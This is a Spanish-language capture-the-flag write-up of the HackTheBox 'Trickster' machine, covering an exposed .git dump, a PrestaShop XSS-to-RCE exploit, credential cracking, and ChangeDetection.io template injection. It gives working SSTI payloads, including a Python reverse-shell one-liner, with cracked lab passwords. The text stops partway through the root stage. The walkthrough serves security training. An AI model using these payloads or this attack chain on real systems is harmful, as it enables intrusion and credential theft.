Trickster – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Medium /Media
  • Platform / Plataforma: HackTheBox

‘Trickster’ Avatar


Resumen Link to heading

“Trickster” es una máquina de dificultad media de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servicio web el cual se encuentra exponiendo un repositorio con git. Este repositorio filtra un la dirección de un directorio interno corriendo PrestaShop cuya versión es vulnerable a Cross-Site Scripting que conlleva a ejecución remota de comandos a través de una vulnerabilidad catalogada como CVE-2024-34716, ganando acceso a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales en archivos de configuración para este servicio, pivoteando así a un nuevo usuario. Inspeccionando redes internas de la máquina, notamos que ésta se encuentra corriendo contenedores con Docker y, luego de realizar un Local Port Forwarding, somos capaces de acceder a un sitio web interno que un contenedor estaba corriendo. Este sitio interno está corriendo ChangeDetection.io y está reciclando las credenciales del usuario hallado previamente. Este servicio es vulnerable a Server Side Template Injection gracias a una vulnerabilidad identificada como CVE-2024-32651, lo cual nos permite ganar acceso al contenedor de Docker como root. Encontramos archivos de Brotli en el contenedor los cuales contienen credenciales para un nuevo usuario, permitiéndonos pivotear a éste. Este nuevo usuario puede ejecutar PrusaSlicer con sudo. Abusando de una vulnerabilidad identificada como CVE-2023-47268, somos capaces de ejecutar comandos bajo este contexto privilegiado y ganar así total control del sistema.


User / Usuario Link to heading

Empezando con un escaneo con Nmap muestra solamente 2 puertos abiertos: 22 SSH y 80 HTTP:

❯ sudo nmap -sVC -p22,80 10.10.11.34

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 23:14 -03
Nmap scan report for 10.10.11.34
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 8c:01:0e:7b:b4:da:b7:2f:bb:2f:d3:a3:8c:a6:6d:87 (ECDSA)
|_  256 90:c6:f3:d8:3f:96:99:94:69:fe:d3:72:cb:fe:6c:c5 (ED25519)
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Did not follow redirect to http://trickster.htb/
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: _; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.97 seconds

Del output del escaneo podemos ver un dominio para el sitio HTTP: trickster.htb. Agregamos este dominio a nuestro archivo /etc/hosts ejecutando en una terminal:

❯ echo '10.10.11.34 trickster.htb' | sudo tee -a /etc/hosts

Visitando http://trickster.htb en un navegador de internet muestra un sitio web de una tienda online:

Trickster 1

Muchos de los botones de los items en la página web no funcionan. No obstante, si clickeamos en el botón SHOP éste nos redirige a http://shop.trickster.htb. Agregamos este nuevo sitio web a nuestro archivo /etc/hosts, de manera que éste se ve ahora como:

❯ tail -n 1 /etc/hosts

10.10.11.34 trickster.htb shop.trickster.htb

Visitando así http://shop.trickster.htb muestra los productos de la tienda:

Trickster 2

Nos creamos una cuenta en el sitio shop.trickster.htb. Pero no somos capaces de ver nada interesante. Sólo somos capaces de encontrar un mail de contacto: admin@trickster.htb.

Luego de inspeccionar la página, tenemos un mensaje :

Trickster 3

© 2024 - Ecommerce software by PrestaShop™

El sitio web se encuentra corriendo PrestaShop.

Visitando el sitio web de este software muestra la siguiente inforamción:

Información
The PrestaShop project is a universal open-source software platform to build your e-commerce solution.
En corto, es un proyecto open-source para crear tiendas online.

Podemos obtener más información acerca de este software en su repositorio de Github. Éste se encuentra principalmente escrito en PHP.

Buscando por vulnerabilidades para PrestaShop en MITRE retorna muchas vulnerabilidades. Entre ellas encontramos algunas SQL Injection; la cual es una SQL Injection a ciegas, pero no funciona.

Buscamos entonces por directorios ocultos a través de un Brute Force Directory Listing con la herramienta Gobuster. Luego de intentar con algunos diccionarios, el diccionario raft-small-word.txt de SecLists funciona:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -u http://shop.trickster.htb -t 55 --exclude-length 283

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://shop.trickster.htb
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] Exclude Length:          283
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.git                 (Status: 301) [Size: 323] [--> http://shop.trickster.htb/.git/]
Progress: 43007 / 43008 (100.00%)
===============================================================
Finished
===============================================================

Encontramos un directorio .git.

Podemos inspeccionar este sitio en una terminal con cURL y html2text:

❯ curl -s http://shop.trickster.htb/.git/ | html2text

****** Index of /.git ******
`ICO`       Name             Last modified    Size Description
===========================================================================
`PARENTDIR` Parent Directory                     -  
`   `       COMMIT_EDITMSG   2024-05-25 19:25   20  
`   `       HEAD             2024-05-25 19:25   28  
`DIR`       branches/        2024-09-13 12:24    -  
`   `       config           2024-05-25 19:25  112  
`   `       description      2024-05-25 19:25   73  
`DIR`       hooks/           2024-09-13 12:24    -  
`   `       index            2024-05-25 19:25 246K  
`DIR`       info/            2024-09-13 12:24    -  
`DIR`       logs/            2024-09-13 12:24    -  
`DIR`       objects/         2024-09-13 12:24    -  
`DIR`       refs/            2024-09-13 12:24    -  
===========================================================================
     Apache/2.4.52 (Ubuntu) Server at shop.trickster.htb Port 80

Tiene la típica estructura de un repositorio de Git.

Podemos extraer todo el contenido del directorio .git utilizando la herramienta git-dumper (fácilmente instalable ejecutando pip3 install git-dumper en una terminal) y la ejecutamos:

❯ git-dumper http://shop.trickster.htb/.git/ ./git_content

[-] Testing http://shop.trickster.htb/.git/HEAD [200]
[-] Testing http://shop.trickster.htb/.git/ [200]
[-] Fetching .git recursively
<SNIP>
[-] Fetching http://shop.trickster.htb/.git/objects/ff/e5907b2f3ab36bf687d1f5a52448da5caf0f37 [200]
[-] Running git checkout .
Updated 1699 paths from the index

Entrando en el directorio donde hemos guardado el proyecto en nuestra máquina de atacantes (en mi caso lo decidí llamar git_content) muestra todo el proyecto en una rama (o “branch”) llamada admin_panel. Revisamos los logs de el repositorio:

❯ git log

commit 0cbc7831c1104f1fb0948ba46f75f1666e18e64c (HEAD -> admin_panel)
Author: adam <adam@trickster.htb>
Date:   Fri May 24 04:13:19 2024 -0400

    update admin pannel

Tenemos solamente 1 commit el cual empieza con 0cbc.

Revisamos el contenido de este commit:

❯ git show 0cbc7831c1104f1fb0948ba46f75f1666e18e64c

<SNIP>
+       cd themes/classic/_dev && npm run lint-fix
+       cd themes && npm run lint-fix
diff --git a/admin634ewutrx1jgitlooaj/.htaccess b/admin634ewutrx1jgitlooaj/.htaccess
new file mode 100644
index 0000000..f0eb434
--- /dev/null
+++ b/admin634ewutrx1jgitlooaj/.htaccess
@@ -0,0 +1,75 @@
+# Use the front controller as index file. It serves as a fallback solution when
+# every other rewrite/redirect fails (e.g. in an aliased environment without
<SNIP>

Hay un directorio llamado admin634ewutrx1jgitlooaj.

Adicionalmente, entrando en el directorio en el cual hemos dumpeado los archivos del proyecto con Git y revisamos los archivos/directorios contenidos en éste retorna:

❯ cd git_content

❯ ls -la

total 232
drwxrwxr-x 4 gunzf0x gunzf0x   4096 Nov  8 23:49 .
drwxrwxr-x 3 gunzf0x gunzf0x   4096 Nov  8 23:47 ..
drwxrwxr-x 8 gunzf0x gunzf0x   4096 Nov  8 23:49 admin634ewutrx1jgitlooaj
-rw-rw-r-- 1 gunzf0x gunzf0x   1305 Nov  8 23:49 autoload.php
-rw-rw-r-- 1 gunzf0x gunzf0x   2506 Nov  8 23:49 error500.html
drwxrwxr-x 7 gunzf0x gunzf0x   4096 Nov  8 23:50 .git
-rw-rw-r-- 1 gunzf0x gunzf0x   1169 Nov  8 23:49 index.php
-rw-rw-r-- 1 gunzf0x gunzf0x   1256 Nov  8 23:49 init.php
-rw-rw-r-- 1 gunzf0x gunzf0x    522 Nov  8 23:49 Install_PrestaShop.html
-rw-rw-r-- 1 gunzf0x gunzf0x   5054 Nov  8 23:49 INSTALL.txt
-rw-rw-r-- 1 gunzf0x gunzf0x 183862 Nov  8 23:49 LICENSES
-rw-rw-r-- 1 gunzf0x gunzf0x    863 Nov  8 23:49 Makefile
-rw-rw-r-- 1 gunzf0x gunzf0x   1538 Nov  8 23:49 .php-cs-fixer.dist.php

Tenemos, como se esperaba, archivos para la tienda online.

Revisamos si, por ejemplo, los archivos autoload.php o error500.html que existen en el repositorio existen también en la página web http://shop.trickster.htb:

❯ curl -s -I http://shop.trickster.htb/autoload.php

HTTP/1.1 200 OK
Date: Sat, 09 Nov 2024 03:04:27 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=UTF-8

❯ curl -s -I http://shop.trickster.htb/error500.html

HTTP/1.1 200 OK
Date: Sat, 09 Nov 2024 03:04:33 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Thu, 07 Mar 2024 17:29:12 GMT
ETag: "9ca-6131569e32a00"
Accept-Ranges: bytes
Content-Length: 2506
Vary: Accept-Encoding
Content-Type: text/html

En ambos casos los directorios existen.

Cuando usamos git show teníamos un directorio llamado admin634ewutrx1jgitlooaj. Podemos revisar si este directorio también existe usando cURL también:

❯ curl -s -I http://shop.trickster.htb/admin634ewutrx1jgitlooaj/

HTTP/1.1 302 Found
Date: Sat, 09 Nov 2024 03:05:53 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PrestaShop-b26457d332464d080116ccd6404a41a9=0; expires=Thu, 01-Jan-1970 00:00:01 GMT; Max-Age=0; path=/; domain=shop.trickster.htb; HttpOnly; SameSite=Lax
Set-Cookie: PrestaShop-b26457d332464d080116ccd6404a41a9=def502004e702e3085f8821b2f9579426d0bf2725eb43a2b7f75ba7e998c2b5a9d7692d2e372e9720ae53148de423f765580cbbab519744b788bfb310e80cd247507b1b4fe5e348c8fa912b9f4b0109054638afaeecd984214488b53c3bdacccd1f41bccc9d06d513abfd70af897e65974ebf169fa6a2a80a6ac22a9bafcfbdfcc50d052012b4e064c9150502116e13051af2219f0b57d408967764146; expires=Fri, 29-Nov-2024 03:05:53 GMT; Max-Age=1728000; path=/; domain=shop.trickster.htb; HttpOnly; SameSite=Lax
Set-Cookie: PHPSESSID=c20i2altik861p84qd49r834lt; expires=Sun, 08-Oct-2079 06:11:46 GMT; Max-Age=1732849553; path=/; HttpOnly; SameSite=Lax
Location: http://shop.trickster.htb/admin634ewutrx1jgitlooaj/index.php?controller=AdminLogin&token=be9a5cdf914b6e841e76eaf7f3c4e5af
Content-Type: text/html; charset=utf-8

El directorio existe.

Visitando http://shop.trickster.htb/admin634ewutrx1jgitlooaj/ muestra un nuevo panel de login:

Trickster 4

Una de las vulnerabilidades previamente encontradas en MITRE era CVE-2024-34716 la cual es una vulnerabilidad Cross Site Scripting (XSS) para versiones anteriores a 8.1.6. Dado que el panel de login muestra la versión 8.1.5, esta versión debería de ser vulnerable. Este blog explica la vulnerabilidad en más detalle y muestra cómo un XSS puede derivar en Remote Code Execution (RCE, o ejecución remota de comandos). El mismo autor del post creó un PoC para este ataque en este repositorio de Github. Clonamos el repositorio, creamos un entorno virtual, activamos el entorno virtual creado, instalamos todas las librerías/dependencias dentro de éste y corremos el script. Como parámetro de email de contacto damos el único mail que hemos hallado en la página web (admin@trickster.htb):

❯ cd CVE-2024-34716

❯ python3 -m venv .venv_CVE

❯ source .venv_CVE/bin/activate

❯ pip3 install -r requirements.txt

<SNIP>

❯ python3 exploit.py --url http://shop.trickster.htb --admin-path 'admin634ewutrx1jgitlooaj' --email 'admin@trickster.htb' --local-ip 10.10.16.3

<SNIP>
FileNotFoundError: [Errno 2] No such file or directory: 'ncat'

Al correrlo tenemos un error. El programa no puede encontrar un binario llamado ncat. Por alguna razón el autor del exploit decidió llamar ncat al binario de netcat, cuyo nombre en sistemas operativos con Linux casi siempre es nc. De manera que simplemente reemplazamos en la línea que está haciendo conflicto:

❯ grep -n 'ncat' exploit.py

121:        output = subprocess.call(["ncat", "-lnvp", "12345"], shell=False)

De ncat a nc.

Realizando este pequeño cambio en el script y volviéndolo a ejecutar, tenemos:

❯ python3 exploit.py --url http://shop.trickster.htb --admin-path 'admin634ewutrx1jgitlooaj' --email 'admin@trickster.htb' --local-ip 10.10.16.3

[X] Starting exploit with:
        Url: http://shop.trickster.htb
        Email: admin@trickster.htb
        Local IP: 10.10.16.3
        Admin Path: admin634ewutrx1jgitlooaj
Serving at http.Server on port 5000
[X] Ncat is now listening on port 12345. Press Ctrl+C to terminate.
listening on [any] 12345 ...
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
<SNIP>
Request: GET /ps_next_8_theme_malicious.zip HTTP/1.1
Response: 200 -
10.10.11.34 - - [09/Nov/2024 00:28:28] "GET /ps_next_8_theme_malicious.zip HTTP/1.1" 200 -
GET request to http://shop.trickster.htb/themes/next/reverse_shell_new.php: 403
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.34] 44162
Linux trickster 5.15.0-121-generic #131-Ubuntu SMP Fri Aug 9 08:29:53 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 03:28:46 up  1:20,  0 users,  load average: 0.02, 0.09, 0.15
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off

$ www-data

Funcionó. Obtenemos así una shell como el usuario www-data.

En la ruta /var/www tenemos un directorio llamado prestashop. Basados en la documentación de PrestaShop deberíamos de tener un directorio llamado config, donde todos los archivos de configuración necesarios deberían de encontrarse:

www-data@trickster:~/prestashop$ ls -la config

total 108
drwxr-xr-x  5 www-data www-data  4096 Sep 13 12:24 .
drwxr-xr-x 28 www-data www-data  4096 Sep 17 18:07 ..
-rwxr-xr-x  1 www-data www-data   170 Mar  7  2024 .htaccess
-rwxr-xr-x  1 www-data www-data  2057 Mar  7  2024 alias.php
-rwxr-xr-x  1 www-data www-data  1378 Mar  7  2024 autoload.php
-rwxr-xr-x  1 www-data www-data  6177 Mar  7  2024 bootstrap.php
-rwxr-xr-x  1 www-data www-data 11654 Mar  7  2024 config.inc.php
-rwxr-xr-x  1 www-data www-data  1337 Mar  7  2024 db_slave_server.inc.php
-rwxr-xr-x  1 www-data www-data  7749 Mar  8  2024 defines.inc.php
-rwxr-xr-x  1 www-data www-data  3303 Mar  7  2024 defines_uri.inc.php
-rwxr-xr-x  1 www-data www-data  1369 Mar  7  2024 index.php
drwxr-xr-x  5 www-data www-data  4096 Sep 13 12:24 services
-rw-r--r--  1 www-data www-data    23 May 25 19:09 settings.inc.php
-rwxr-xr-x  1 www-data www-data  8869 Mar  7  2024 smarty.config.inc.php
-rwxr-xr-x  1 www-data www-data  6008 Mar  7  2024 smartyadmin.config.inc.php
-rwxr-xr-x  1 www-data www-data  9503 Mar  7  2024 smartyfront.config.inc.php
drwxr-xr-x  4 www-data www-data  4096 Sep 13 12:24 themes
drwxr-xr-x  3 www-data www-data  4096 Sep 13 12:24 xml

Revisando el archivo config.inc.php muestra:

<SNIP>
/* No settings file? goto installer... */
if (!file_exists(_PS_ROOT_DIR_ . '/app/config/parameters.yml') && !file_exists(_PS_ROOT_DIR_ . '/app/config/parameters.php')) {
    Tools::redirectToInstall();
}
<SNIP>

Tenemos 2 archivos interesantes por revisar: /app/config/parameters.yml y /app/config/parameters.php. Vamos a /var/www/prestashop/app y revisamos estos archivos:

www-data@trickster:~/prestashop/app/config$ ls -la

total 92
drwxr-xr-x 4 www-data www-data 4096 Sep 13 12:24 .
drwxr-xr-x 5 www-data www-data 4096 Sep 13 12:24 ..
drwxr-xr-x 2 www-data www-data 4096 Sep 13 12:24 addons
drwxr-xr-x 2 www-data www-data 4096 Sep 13 12:24 api_platform
-rwxr-xr-x 1 www-data www-data 3421 Mar  7  2024 config.yml
<SNIP>
-rw-r--r-- 1 www-data www-data 3197 May 25 19:09 parameters.php
-rw-r--r-- 1 www-data www-data   11 May 25 19:09 parameters.yml
<SNIP>

Leyendo parameters.php obtenemos:

<?php return array (
  'parameters' =>
  array (
    'database_host' => '127.0.0.1',
    'database_port' => '',
    'database_name' => 'prestashop',
    'database_user' => 'ps_user',
    'database_password' => 'prest@shop_o',
    'database_prefix' => 'ps_',
    'database_engine' => 'InnoDB',
    'mailer_transport' => 'smtp',
    'mailer_host' => '127.0.0.1',
    'mailer_user' => NULL,
    'mailer_password' => NULL,
    'secret' => 'eHPDO7bBZPjXWbv3oSLIpkn5XxPvcvzt7ibaHTgWhTBM3e7S9kbeB1TPemtIgzog',
    'ps_caching' => 'CacheMemcache',
    <SNIP>

Tenemos credenciales para una base de datos.

Revisando puertos internos abiertos, somos capaces de ver que el puerto 3306 está abierto:

www-data@trickster:~/prestashop/app/config$ ss -nltp

State               Recv-Q              Send-Q                           Local Address:Port                            Peer Address:Port              Process
LISTEN              0                   80                                   127.0.0.1:3306                                 0.0.0.0:*
LISTEN              0                   511                                    0.0.0.0:80                                   0.0.0.0:*
LISTEN              0                   128                                    0.0.0.0:22                                   0.0.0.0:*
LISTEN              0                   4096                                 127.0.0.1:42981                                0.0.0.0:*
LISTEN              0                   4096                             127.0.0.53%lo:53                                   0.0.0.0:*
LISTEN              0                   128                                       [::]:22                                      [::]:*

De manera que asumo que este servicio se encuentra usando una base de datos con MySQL (dado que 3306 es su puerto por defecto).

Entramos en la base de datos:

www-data@trickster:~/prestashop/app/config$ mysql -u ps_user -p'prest@shop_o' -h 127.0.0.1 prestashop

Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 2257
Server version: 10.6.18-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [prestashop]>

Y buscamos por información. Eventualmente, encontramos algo en la tabla ps_employee en la database prestashop:

MariaDB [prestashop]> select id_employee,firstname,lastname,email,passwd from ps_employee;

+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
| id_employee | firstname | lastname | email               | passwd                                                       |
+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
|           1 | Trickster | Store    | admin@trickster.htb | $2y$10$P8wO3jruKKpvKRgWP6o7o.rojbDoABG9StPUt0dR7LIeK26RdlB/C |
|           2 | james     | james    | james@trickster.htb | $2a$04$rgBYAsSHUVK3RZKfwbYY9OPJyBbt/OzGw9UHi4UnlK6yG5LyunCmm |
+-------------+-----------+----------+---------------------+--------------------------------------------------------------+
2 rows in set (0.000 sec)

Obtenemos hashes pars los usuarios admin y james.

We save both hashes into our attacker machine and attempt to crack it through a Brute Force Password Cracking with JohnTheRipper (john): Guardamos ambos hashes en nuestra máquina de atacantes y tratamos de crackearlos a través de un Brute Force Password Cracking utilizando la herramienta JohnTheRipper (también conocida como john):

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hashes_found

Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3])
Loaded hashes with cost 1 (iteration count) varying from 16 to 1024
Will run 5 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alwaysandforever (?)
Use the "--show" option to display all of the cracked passwords reliably

Tenemos una contraseña: alwaysandforever.

Revisamos por usuarios existentes en la máquina víctima:

www-data@trickster:~/prestashop/app/config$ cat /etc/passwd | grep 'sh$'

root:x:0:0:root:/root:/bin/bash
james:x:1000:1000:trickster:/home/james:/bin/bash
adam:x:1002:1002::/home/adam:/bin/bash
runner:x:1003:1003::/home/runner:/bin/sh

Dado que el usuario james estaba en la base de datos, revisamos si la contraseña que acabamos de encontrar funciona para james a través de SSH. Podemos revisar esto utilizando la herramienta NetExec:

❯ nxc ssh 10.10.11.34 -u 'james' -p 'alwaysandforever'

SSH         10.10.11.34     22     10.10.11.34      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.34     22     10.10.11.34      [+] james:alwaysandforever  Linux - Shell access!

Las credenciales son correctas. Nos podemos loguear a través de SSH en la máquina víctima utilizando las credenciales halladas:

❯ sshpass -p 'alwaysandforever' ssh -o stricthostkeychecking=no james@10.10.11.34

Warning: Permanently added '10.10.11.34' (ED25519) to the list of known hosts.
Last login: Thu Sep 26 11:13:01 2024 from 10.10.14.41
james@trickster:~$ whoami

james

Podemos obtener la flag de usuario.


Root Link to heading

Revisando por interfaces de red en la máquina muestra que ésta se encuentra corriendo containers con Docker:

james@trickster:~$ ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:94:ce:84 brd ff:ff:ff:ff:ff:ff
    altname enp3s0
    altname ens160
    inet 10.10.11.34/23 brd 10.10.11.255 scope global eth0
       valid_lft forever preferred_lft forever
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
    link/ether 02:42:a9:31:d0:dc brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
       valid_lft forever preferred_lft forever
17: veth05fe97a@if16: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue master docker0 state UP group default
    link/ether ee:84:d4:10:36:9c brd ff:ff:ff:ff:ff:ff link-netnsid 0

Usualmente, 172.17.0.1 es la IP de la máquina host en la red de Docker y 172.17.0.2 debería de ser la dirección IP de uno de los contenedores corriendo internamente.

Revisamos si la dirección 172.17.0.2 responde enviando un simple ping:

james@trickster:~$ ping -c1 172.17.0.2

PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.054 ms

--- 172.17.0.2 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.054/0.054/0.054/0.000 ms

Tambén podemos revisar por procesos siendo ejecutados en la máquina víctima con ps:

james@trickster:~$ ps aux | grep 'container'

root        1283  0.1  1.1 1801044 47244 ?       Ssl  02:08   0:08 /usr/bin/containerd
root        1432  0.0  1.9 1977936 77032 ?       Ssl  02:08   0:01 /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
root       12594  0.0  0.3 1238656 12860 ?       Sl   04:00   0:00 /usr/bin/containerd-shim-runc-v2 -namespace moby -id a4b9a36ae7ffc48c2b451ead77f93a8572869906f386773c3de528ca950295cd -address /run/containerd/containerd.sock
james      13313  0.0  0.0   6612  2304 pts/1    S+   04:07   0:00 grep --color=auto container

Sin embargo, no podemos acceder a este contenedor directamente ya que no estamos en el grupo docker:

james@trickster:~$ id

uid=1000(james) gid=1000(james) groups=1000(james)

james@trickster:~$ docker images

permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/images/json": dial unix /var/run/docker.sock: connect: permission denied

Para revisar puertos TCP abiertos en el contenedor de Docker, usaré este script de Bash que hice hace algún tiempo. Este script lo hice de tal manera que use hilos y así agilizar un poco el proceso. Copiamos el código del repositorio, abrimos un editor de texto como Vim o nano en la máquina víctima y guardamos el script; en mi caso lo guardaré como portScanner.sh. Recordar, además, asignarle permisos de ejecución:

james@trickster:~$ vim /tmp/portScanner.sh

james@trickster:~$ chmod +x /tmp/portScanner.sh

james@trickster:~$ bash /tmp/portScanner.sh

Usage: /tmp/portScanner.sh <IP_ADDRESS> <START_PORT> <END_PORT> <THREADS>

Escaneamos los primeros 10 000 puertos (del 1 al 10 000) usando 10 threads/hilos:

james@trickster:~$ bash /tmp/portScanner.sh 172.17.0.2 1 10000 10

[+] Port 5000 is open

El puerto 5000 se encuentra abierto en la máquian víctima.

Revisamos si este puerto se encuentra exponiendo alguna página web utilizando cURL:

james@trickster:~$ curl -s http://172.17.0.2:5000

<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/login?next=/">/login?next=/</a>. If not, click the link.

Parece ser una página web dado que la respuesta está en HTLM.

Dado que tenemos conexión a través de SSH, cerramos la sesión actual que tenemos a través de SSH y nos reconectamos a la máquina víctima, pero esta vez estableciendo un túnel. Convertimos el puerto 5000 de la máquina 172.17.0.2 (la IP del contenedor) en nuestro puerto 5000 (máquina de atacantes):

❯ sshpass -p 'alwaysandforever' ssh -o stricthostkeychecking=no -L 5000:172.17.0.2:5000 james@10.10.11.34
Nota
If, to get the shell as www-data user, we used the payload/exploit from the Github repository remember it uses port 5000 to start a Python HTTP temporal server. You have to kill the connection and stop the script from www-data before doing this connection or the port will be occupied and we will not be able to use our port 5000.

Podemos ver una nueva página web:

Trickster 5

El sitio está corriendo ChangeDetection.io:

Información
ChangeDetection.io is an open-source tool for website change detection. It is capable of monitoring HTML and JSON files and can send various types of notifications when a change is detected.

Podemos ver una versión en la parte derecha: 0.45.20.

Antes de buscar por exploits, usamos la única contraseña que hemos hallado hasta este punto: alwaysandforever. Esta contraseña funciona. Estamos dentro:

Trickster 6

Buscando por vulnerabilidades para esta versión encontramos this blog el cual explica cómo explotar la vulnerabilidad CVE-2024-32651, pero cambiamos levemente algunas cosas. En corto, la aplicación es vulnerable a Server Side Template Injection (SSTI) y somos capaces de ejecutar comandos remotamente.

Primero, agregamos nuestra máquina de atacantes a los métodos de detección (detection methods). En Add a new change detection watch agregamos la IP de la máquina víctima 172.17.0.1:8000 (que es su IP en la red de Docker) y clickeamos en Watch. Seteamos el servidor HTTP en el puerto 8000. Al haber hecho esto, la dirección debería de aparecer al final de la página:

Trickster 7

Luego, vamos a Settings -> Notifications y como notificación agregamos post://172.17.0.1:8000 (si quieres usar otros protocolos puedes revisar la documentación oficial de ChangeDetection.io y esta página). Esto le dirá a ChangeDetection.io que debe enviar la notificación a través de una petición con método POST a la dirección IP 172.17.0.1 en el puerto 8000. Adicionalmente, en el cuerpo de la notificación ponemos:

{{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}

Trickster 9

Clickeamos en Save en la parte inferior de la página.

Luego, nos hacemos con una copia de un script de Python que hice hace algún tiempo el cual se puede encontrar en mi repositorio Github el cual es simplemente un servidor Python HTTP temporal que acepta método POST (si utilizamos el clásico servidor temporal ejecutando python3 -m http.server éste sólo acepta método GET). Hago todo esto dado de que quiero ver el output del comando que nos enviamos (y por ello es que estoy usando método POST en lugar del método GET). Si no nos queremos complicar la vida también podemos simplemente usar nc (cuyo binario ya se encuentra instalado en la máquina víctima).

james@trickster:~$ python3 post_http_server.py -p 8000

[+] Server started on port 8000...

De vuelta a la página Settings -> Notification de ChangeDetection.io, clickeamos nuevamente en Send test notification. Obtenemos algo en nuestro listener:

james@trickster:~$ python3 /tmp/post_http_server.py -p 8000

[+] Server started on port 8000...
[+] Received POST data:
 uid=0(root) gid=0(root) groups=0(root)

Obtenemos el output del comando id. Funcionó.

Agregamos así el payload:

{{ self.__init__.__globals__.__builtins__.__import__('os').system('python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")\'') }}

donde 172.17.0.1 es la IP de la máquina víctima en la interfaz de Docker (no es nuestra IP de atacante) y 4444 un puerto en el cual nos pondremos en escucha con netcat (no podemos usar el típico puerto 443 ya que éste requiere de privilegios en la máquina víctima, los cuales todavía no tenemos). Clickeamos en Save en la página de ChangeDetection.io para guardar este nuevo payload.

Nos logueamos en una nueva sesión a través de SSH en la máquina víctima y empezamos un nuevo listener con nc en el puerto 4444 en la máquina víctima. Volvemos a la página de Settings en ChangeDetection.io y clickeamos en Send test notification. Obtenemos una shell como el usuario root en el container:

james@trickster:~$ nc -lvnp 4444

Listening on 0.0.0.0 4444
Connection received on 172.17.0.2 46098
# whoami

whoami
root

Revisando el directorio / muestra un inusual directorio llamado datastore:

# ls -la /

ls -la /
total 72
drwxr-xr-x   1 root root 4096 Sep 26 11:03 .
drwxr-xr-x   1 root root 4096 Sep 26 11:03 ..
-rwxr-xr-x   1 root root    0 Sep 26 11:03 .dockerenv
<SNIP>
drwxr-xr-x   2 root root 4096 Sep 13 12:24 boot
drwxr-xr-x   6 root root 4096 Nov  9 07:07 datastore
drwxr-xr-x   5 root root  340 Nov  9 07:00 dev
<SNIP>

Dentro de éste podemos ver un directorio Backups y un par de archivos .zip:

root@a4b9a36ae7ff:/datastore/Backups# ls -la

total 52
drwxr-xr-x 2 root root  4096 Aug 31 08:56 .
drwxr-xr-x 6 root root  4096 Nov  9 07:10 ..
-rw-r--r-- 1 root root  6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
-rw-r--r-- 1 root root 33708 Aug 30 20:25 changedetection-backup-20240830202524.zip

Exponemos ambos archivos .zip a través de un nuevo servidor HTTP con Python en el puerto 8080, pero esta vez en el contenedor de Docker:

root@a4b9a36ae7ff:/datastore/Backups# ls -la && python3 -m http.server 8080
total 52

drwxr-xr-x 2 root root  4096 Aug 31 08:56 .
drwxr-xr-x 6 root root  4096 Nov  9 07:11 ..
-rw-r--r-- 1 root root  6221 Aug 31 08:53 changedetection-backup-20240830194841.zip
